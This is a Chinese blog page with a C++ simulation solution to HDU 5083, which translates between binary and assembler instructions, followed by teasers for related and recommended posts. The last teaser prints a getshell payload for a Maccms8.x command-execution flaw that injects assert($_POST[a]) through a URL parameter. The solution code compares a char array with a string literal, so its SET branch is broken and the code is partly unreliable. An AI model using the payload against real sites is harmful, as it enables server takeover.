hdu 5083 Instruction (稍比较复杂的模拟题)
题意:
二进制指令转汇编指令,汇编指令转二进制指令。
思路:
额,条理分好,想全,思维不能乱。
代码:
int findyu(char yu[50],char c){
int l=strlen(yu);
rep(i,0,l-1) if(c==yu[i]) return i;
}
int calc(char t[50],int x,int k){
int res=0;
rep(i,x,x+k-1) res*=10, res+=(t[i]-'0');
return res;
}
int calc2(char t[50]){
int l=strlen(t);
int res=0;
rep(i,0,l-1) res*=2, res+=(t[i]-'0');
return res;
}
void print(int x){
int t1[10];
int c=0;
rep(i,0,4){
t1[++c]=(x&1);
x>>=1;
}
rep2(i,c,1) printf("%d",t1[i]);
}
int main(){
//freopen("test.in","r", stdin);
int kind;
map<string,string> mp1;
mp1["ADD"]="000001";
mp1["SUB"]="000010";
mp1["DIV"]="000011";
mp1["MUL"]="000100";
mp1["MOVE"]="000101";
mp1["SET"]="000110";
map<string,string> mp2;
mp2["000001"]="ADD";
mp2["000010"]="SUB";
mp2["000011"]="DIV";
mp2["000100"]="MUL";
mp2["000101"]="MOVE";
mp2["000110"]="SET";
while(scanf("%d",&kind)!=EOF){
if(kind==1){
char ins[50],yu[50];
int ra,rb=0;
scanf("%s%s",ins,yu);
if(strcmp(ins,"SET")==0)
ra=calc(yu,1,strlen(yu)-1);
else{
int tc=findyu(yu,',');
ra=calc(yu,1,tc-1);
rb=calc(yu,tc+2,strlen(yu)-tc-2);
}
cout<<mp1[string(ins)];
if(ins=="SET"){
print(ra);
printf("00000\n");
continue;
}
print(ra);
print(rb);
cout<<endl;
continue;
}
else{
char str[50];
scanf("%s",str);
if(strlen(str)!=16){
cout<<"Error!"<<endl;
continue;
}
char ope[50],rra[50],rrb[50];
rep(i,0,5) ope[i]=str[i]; ope[6]=0;
rep(i,6,10) rra[i-6]=str[i]; rra[5]=0;
rep(i,11,15) rrb[i-11]=str[i]; rrb[5]=0;
int ra=calc2(rra);
int rb=calc2(rrb);
if(strcmp(ope,"000110")==0){
if(rb!=0){
cout<<"Error!"<<endl;
continue;
}
if(ra<1 || ra>31){
cout<<"Error!"<<endl;
continue;
}
printf("SET R%d\n",ra);
continue;
}
if(ra<1 || ra>31 || rb<1 || rb>31){
cout<<"Error!"<<endl;
continue;
}
if(mp2[string(ope)]==""){
cout<<"Error!"<<endl;
continue;
}
cout<<mp2[string(ope)];
printf(" R%d,R%d\n",ra,rb);
continue;
}
}
//fclose(stdin);
}
hdu 5083 Instruction (稍比较复杂的模拟题)的更多相关文章
- [ACM] HDU 5083 Instruction (模拟)
Instruction Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Tota ...
- hdu 5641 King's Phone(暴力模拟题)
Problem Description In a military parade, the King sees lots of new things, including an Andriod Pho ...
- HDU 5083 Instruction --模拟
题意:给出汇编指令,解释出编码或者给出编码,解释出汇编指令. 解法:简单模拟,按照给出的规则一步一步来就好了,主要是注意“SET”的情况,还有要输出的东西最好放到最后一起输出,中间如果一旦不对就可以及 ...
- HDU 5083 Instruction(字符串处理)
Problem Description Nowadays, Jim Green has produced a kind of computer called JG. In his computer, ...
- hdu 2629 Identity Card (字符串解析模拟题)
这题是一个字符串模拟水题,给12级学弟学妹们找找自信的,嘿嘿; 题目意思就是要你讲身份证的上的省份和生日解析出来输出就可以了: http://acm.hdu.edu.cn/showproblem.ph ...
- BestCoder15 1002.Instruction(hdu 5083) 解题报告
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5083 题目意思:如果给出 instruction 就需要输出对应的 16-bit binary cod ...
- HDU 5071 Chat(2014鞍山B,模拟)
http://acm.hdu.edu.cn/showproblem.php?pid=5071 Chat Time Limit: 2000/1000 MS (Java/Others) Memory ...
- HDU 4041 Eliminate Witches! (模拟题 ACM ICPC 2011亚洲北京赛区网络赛)
HDU 4041 Eliminate Witches! (模拟题 ACM ICPC 2011 亚洲北京赛区网络赛题目) Eliminate Witches! Time Limit: 2000/1000 ...
- HDU 5908 Abelian Period (BestCoder Round #88 模拟+暴力)
HDU 5908 Abelian Period (BestCoder Round #88 模拟+暴力) 题目链接http://acm.hdu.edu.cn/showproblem.php?pid=59 ...
随机推荐
- pip国内源设置
在目录 C:\Users\Administrator下新建pip目录 C:\Users\Administrator\pip 添加 pip.ini 文件 pip.ini内容设置为 [global] in ...
- TP6生成url
和TP5生成url方式有区别, 在控制器里 需要加上 ->build(), 如 url('index/arc/list')->build(); 如果是多域名还需要指定域名,如不想加域名可以 ...
- 阿里云短信功能php
1. 引入文件: https://help.aliyun.com/document_detail/53111.html?spm=a2c1g.8271268.10000.99.5a8ddf25gG0wW ...
- PHP 流行的框架
Aura Laravel Symphony Yii Zend php components Packagist 最好的组件: Awesome PHP https://www.yiiframework. ...
- git 切换分支
# 查看git源 git remote -v git remote set-url origin http://mingzhanghui@xx.xx.xx.xx:8090/r/ENSO/weba ...
- Python return self
在Python中,return self的作用为: Returning self from a method simply means that your method returns a refer ...
- CF932G-Palindrome Partition【PAM】
正题 题目链接:https://www.luogu.com.cn/problem/CF932G 题目大意 给出一个长度为\(n\)的字符串,将其分为\(k\)段(\(k\)为任意偶数),记为\(p\) ...
- 基于Processing图像序列处理保存导出的流程梳理
做一个基于processing的图像序列处理保存导出的流程梳理.本案例没有什么实质性的目的,仅为流程梳理做演示. 准备 把需要处理的影像渲染成序列图片,可以在PR中剪辑并导出PNG序列[格式倒是没什么 ...
- php flush() 页面缓冲及时输出 每隔一秒输出页面输出
<?php //方案一 ob_end_clean(); echo str_pad('', 1024); // 设置足够大,大过php.ini的output_buffering设置值 for ($ ...
- Maccms8.x(苹果cms)命令执行漏洞
getshell payload(a): http://0-sec.org/index.php?m=vod-search&wd={if-A:assert($_POST[a])}{endif-A ...